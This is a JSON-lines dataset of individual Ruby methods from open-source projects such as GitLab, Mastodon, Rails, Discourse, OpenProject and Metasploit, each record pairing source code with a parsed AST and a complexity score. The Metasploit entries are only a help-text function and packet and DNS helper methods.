{"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/unfilter_notifications_worker.rb","start_line":20,"raw_source":"def push_to_conversations!\n    notifications_with_private_mentions.reorder(nil).find_each(order: :desc) { |notification| AccountConversation.add_status(@recipient, notification.target_status) }\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"push_to_conversations!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notifications_with_private_mentions\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"find_each\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountConversation\"]},\"add_status\",{\"type\":\"ivar\",\"children\":[\"@recipient\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification\"]},\"target_status\"]}]}]}]}","id":"2f0926d7-c497-4479-b7a0-3aeb16032b72"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2json/line.rb","start_line":116,"raw_source":"def flush_current_segment!\n          return if @current_segment.empty?\n\n          @segments << @current_segment.to_h\n          @current_segment = Segment.new(style: @current_segment.style)\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"flush_current_segment!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_segment\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@segments\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_segment\"]},\"to_h\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_segment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Segment\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"style\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_segment\"]},\"style\"]}]}]}]}]}]}]}","id":"6530b1e2-14f2-41cd-8e8d-c1eec09075cc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/ansi2html.rb","start_line":424,"raw_source":"def on_9(_)\n          enable(STYLE_SWITCHES[:cross])\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_9\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[null,\"enable\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STYLE_SWITCHES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cross\"]}]}]}]}","id":"8b6cea5b-4c2f-4502-95b9-b9902e97cc4c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb","start_line":108,"raw_source":"def query_value(...) # :nodoc:\n        single_value_from_rows(query(...))\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"query_value\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"single_value_from_rows\",{\"type\":\"send\",\"children\":[null,\"query\",{\"type\":\"forwarded_args\",\"children\":[]}]}]}]}","id":"f7549d02-e02a-477f-82aa-e8cb17d15952"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/limit.rb","start_line":31,"raw_source":"def limit_exceeded_error\n        LimitExceededError.new(message)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"limit_exceeded_error\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LimitExceededError\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"message\"]}]}]}","id":"d2095553-a223-434a-b3fb-1904cb078d0e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/color_scheme.rb","start_line":580,"raw_source":"def diverge_from_remote\n    new_scheme = dup\n    new_scheme.colors = self.colors_hashes\n    new_scheme.via_wizard = false\n    new_scheme.user_selectable = false\n    new_scheme.base_scheme_id = nil\n    new_scheme.skip_publish = true\n    new_scheme.remote_copy = true\n\n    DistributedMutex.synchronize(\"color_scheme_diverge_from_remote_#{self.id}\") do\n      self.reload\n      if self.base_scheme.blank?\n        self.transaction do\n          new_scheme.save!\n          self.base_scheme_id = new_scheme.id\n          self.save!\n        end\n      end\n    end\n\n    self\n  end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"diverge_from_remote\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_scheme\",{\"type\":\"send\",\"children\":[null,\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"colors=\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"colors_hashes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"via_wizard=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"user_selectable=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"base_scheme_id=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"skip_publish=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"remote_copy=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DistributedMutex\"]},\"synchronize\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"color_scheme_diverge_from_remote_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reload\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_scheme\"]},\"blank?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_scheme_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_scheme\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"save!\"]}]}]},null]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"c7d0e126-a223-43cb-a640-7824cace80b0"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/helpers/application_helper_spec.rb","start_line":33,"raw_source":"def controller_helpers\n        Module.new do\n          def current_account\n            @current_account ||= Fabricate(:account, user: User.last)\n          end\n\n          def current_theme = 'default'\n        end\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"controller_helpers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"current_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_account\"]},{\"type\":\"send\",\"children\":[null,\"Fabricate\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"last\"]}]}]}]}]}]},{\"type\":\"def\",\"children\":[\"current_theme\",{\"type\":\"args\",\"children\":[]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}]}","id":"e98f2208-0ce6-4934-9277-9d0d0ade1432"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/journal_formatter/time_entry_named_association.rb","start_line":32,"raw_source":"def format_details(key, values, cache:)\n    label = I18n.t(\"activity.item.time_entry.logged_for\")\n\n    old_value, value = *format_values(values, key, cache:)\n\n    [label, old_value, value]\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"format_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"kwarg\",\"children\":[\"cache\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"activity.item.time_entry.logged_for\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_value\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_values\",{\"type\":\"lvar\",\"children\":[\"values\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache\"]},{\"type\":\"lvar\",\"children\":[\"cache\"]}]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"old_value\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"bffa8e7d-2d92-4f49-ada9-ce44827e964e"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/queries/base_contract.rb","start_line":95,"raw_source":"def timestamps_are_parsable\n      invalid_timestamps = model.timestamps.reject(&:valid?)\n\n      if invalid_timestamps.any?\n        errors.add :timestamps, :invalid, values: invalid_timestamps.join(\", \")\n      end\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"timestamps_are_parsable\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"invalid_timestamps\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"timestamps\"]},\"reject\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"valid?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_timestamps\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"sym\",\"children\":[\"invalid\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"invalid_timestamps\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]},null]}]}]}","id":"24253655-1881-4f3c-b53b-7e13c464d455"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/awardable.rb","start_line":95,"raw_source":"def upvotes\n    award_emoji.upvotes.count\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upvotes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"award_emoji\"]},\"upvotes\"]},\"count\"]}]}","id":"50739d37-2206-4271-a534-543a26038b6a"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/services/discourse_ai/topic_summarization.rb","start_line":15,"raw_source":"def cached_summary\n      summarizer.existing_summary\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_summary\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"summarizer\"]},\"existing_summary\"]}]}","id":"c420b8dc-2ed1-48a1-9955-7ebac22f1f63"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/relative_positioning/ending_at.rb","start_line":13,"raw_source":"def lhs\n        strong_memoize(:lhs) { rhs.lhs_neighbour }\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"lhs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"lhs\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhs\"]},\"lhs_neighbour\"]}]}]}","id":"05064afc-a767-40e1-8711-b3a289c9415f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/queue/metrics.rb","start_line":153,"raw_source":"def self.job_queue_duration_seconds\n          strong_memoize(:job_queue_duration_seconds) do\n            name = :job_queue_duration_seconds\n            comment = 'Request handling execution time'\n            buckets = QUEUE_DURATION_SECONDS_BUCKETS\n            labels = {}\n\n            Gitlab::Metrics.histogram(name, comment, labels, buckets)\n          end\n        end","complexity_score":8.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"job_queue_duration_seconds\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"job_queue_duration_seconds\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"job_queue_duration_seconds\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comment\",{\"type\":\"str\",\"children\":[\"Request handling execution time\"]}]},{\"type\":\"lvasgn\",\"children\":[\"buckets\",{\"type\":\"const\",\"children\":[null,\"QUEUE_DURATION_SECONDS_BUCKETS\"]}]},{\"type\":\"lvasgn\",\"children\":[\"labels\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Metrics\"]},\"histogram\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"comment\"]},{\"type\":\"lvar\",\"children\":[\"labels\"]},{\"type\":\"lvar\",\"children\":[\"buckets\"]}]}]}]}]}","id":"dc3e1341-dbdc-4713-b280-e2ea336bba4b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/wiki_controller.rb","start_line":218,"raw_source":"def project_menu_items\n    Redmine::MenuManager.items(\"project_menu\").children + wiki_root_menu_items\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"project_menu_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Redmine\"]},\"MenuManager\"]},\"items\",{\"type\":\"str\",\"children\":[\"project_menu\"]}]},\"children\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"wiki_root_menu_items\"]}]}]}","id":"d1182ec5-fb2f-47e4-b52c-e1eb1ecdbf4d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20241014062942_remove_users_vulnerability_feedback_author_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:vulnerability_feedback, :users,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"vulnerability_feedback\"]},{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"3c936c14-5819-42da-9814-45ab711d78ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/update_service.rb","start_line":64,"raw_source":"def prepare_response(members)\n      errored_members = members.select { |member| member.errors.any? }\n      if errored_members.present?\n        error_message = errored_members.flat_map(&:errors).flat_map(&:full_messages).uniq.to_sentence\n        return error(error_message, pass_back: { members: errored_members })\n      end\n\n      success(members: members)\n    end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"members\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"errored_members\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"members\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"errors\"]},\"any?\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errored_members\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errored_members\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]}]}]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_messages\"]}]}]},\"uniq\"]},\"to_sentence\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"lvar\",\"children\":[\"error_message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pass_back\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members\"]},{\"type\":\"lvar\",\"children\":[\"errored_members\"]}]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members\"]},{\"type\":\"lvar\",\"children\":[\"members\"]}]}]}]}]}]}","id":"23bea49c-6f8c-4421-b3b7-8f755f4d586c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/schtasksabuse.rb","start_line":37,"raw_source":"def usage\n  print_status( \"This Meterpreter script is for running commands on targets system using the\")\n  print_status( \"Windows Scheduler, it is based on the tool presented but not released by Val Smith\")\n  print_status( \"in Defcon 16 ATAbuser. If no user and password is given it will use the permissions\")\n  print_status( \"of the process Meterpreter is running under.\")\n  print_status( \"Options:\")\n  print_status( @@exec_opts.usage )\nend","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"This Meterpreter script is for running commands on targets system using the\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Windows Scheduler, it is based on the tool presented but not released by Val Smith\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"in Defcon 16 ATAbuser. If no user and password is given it will use the permissions\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"of the process Meterpreter is running under.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Options:\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@exec_opts\"]},\"usage\"]}]}]}]}","id":"4414f7e5-b80b-44c3-901c-990bf1ff6f29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ipv6.rb","start_line":296,"raw_source":"def ipv6_neighbor_solicitation(neigh,smac)\n    target = neigh.to_s(16).scan(/../).map {|x| x.to_i(16)}.pack(\"C*\")\n    type = 135\n    code = 0\n    checksum = 0\n    reserved = 0\n    opt_type = 1\n    opt_len = 1\n    [type, code, checksum, reserved,\n      target, opt_type, opt_len, smac\n    ].pack(\"CCnNa16CCa6\")\n  end","complexity_score":17.28,"ast_json":"{\"type\":\"def\",\"children\":[\"ipv6_neighbor_solicitation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"neigh\"]},{\"type\":\"arg\",\"children\":[\"smac\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"neigh\"]},\"to_s\",{\"type\":\"int\",\"children\":[16]}]},\"scan\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"..\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"int\",\"children\":[135]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"checksum\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"reserved\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"opt_type\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"lvasgn\",\"children\":[\"opt_len\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"checksum\"]},{\"type\":\"lvar\",\"children\":[\"reserved\"]},{\"type\":\"lvar\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"opt_type\"]},{\"type\":\"lvar\",\"children\":[\"opt_len\"]},{\"type\":\"lvar\",\"children\":[\"smac\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"CCnNa16CCa6\"]}]}]}]}","id":"831f8165-0a33-4ba6-b971-7566e086f546"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":268,"raw_source":"def test_field_name_with_nil_object_name\n    value = field_name(nil, :title)\n\n    assert_equal \"title\", value\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_field_name_with_nil_object_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[null,\"field_name\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"title\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"e243a901-d56f-4aa3-84a5-8daa4687e38e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/pipeline.rb","start_line":1555,"raw_source":"def cancel_async_on_job_failure\n      case auto_cancel_on_job_failure\n      when 'none'\n        # no-op\n      when 'all'\n        ::Ci::UserCancelPipelineWorker.perform_async(id, id, user.id)\n      else\n        raise ArgumentError,\n          \"Unknown auto_cancel_on_job_failure value: #{auto_cancel_on_job_failure}\"\n      end\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cancel_async_on_job_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auto_cancel_on_job_failure\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"none\"]},null]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"UserCancelPipelineWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown auto_cancel_on_job_failure value: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auto_cancel_on_job_failure\"]}]}]}]}]}]}","id":"0efa22f7-8d7b-4fd2-a6a3-c9b7bc4a0d94"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/rr/a.rb","start_line":51,"raw_source":"def address=(addr)\n          @address = check_address addr\n          build_pack\n        end # address=","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"address=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"addr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@address\",{\"type\":\"send\",\"children\":[null,\"check_address\",{\"type\":\"lvar\",\"children\":[\"addr\"]}]}]},{\"type\":\"send\",\"children\":[null,\"build_pack\"]}]}]}","id":"b212b13e-50ad-4d2b-8240-7ece4de8183f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/yaml_processor/result.rb","start_line":102,"raw_source":"def build_attributes(name)\n          job = jobs.fetch(name.to_sym, {})\n\n          { stage_idx: stages.index(job[:stage]),\n            stage: job[:stage],\n            tag_list: job[:tags],\n            name: job[:name].to_s,\n            allow_failure: job[:ignore],\n            when: job[:when] || 'on_success',\n            environment: job[:environment_name],\n            coverage_regex: job[:coverage],\n            # yaml_variables is calculated with using job_variables in Seed::Build\n            job_variables: transform_to_array(job[:job_variables]),\n            root_variables_inheritance: job[:root_variables_inheritance],\n            needs_attributes: job.dig(:needs, :job),\n            interruptible: job[:interruptible],\n            only: job[:only],\n            except: job[:except],\n            rules: job[:rules],\n            cache: job[:cache],\n            resource_group_key: job[:resource_group],\n            scheduling_type: job[:scheduling_type],\n            id_tokens: job[:id_tokens],\n            execution_config: build_execution_config(job),\n            options: {\n              image: job[:image],\n              services: job[:services],\n              allow_failure_criteria: job[:allow_failure_criteria],\n              artifacts: job[:artifacts],\n              dependencies: job[:dependencies],\n              cross_dependencies: job.dig(:needs, :cross_dependency),\n              job_timeout: job[:timeout],\n              before_script: job[:before_script],\n              script: job[:script],\n              manual_confirmation: job[:manual_confirmation],\n              after_script: job[:after_script],\n              hooks: job[:hooks],\n              environment: job[:environment],\n              resource_group_key: job[:resource_group],\n              retry: job[:retry],\n              parallel: job[:parallel],\n              instance: job[:instance],\n              start_in: job[:start_in],\n              trigger: job[:trigger],\n              bridge_needs: job.dig(:needs, :bridge)&.first,\n              release: job[:release],\n              publish: job[:publish],\n              pages: job[:pages]\n            }.compact }.compact\n        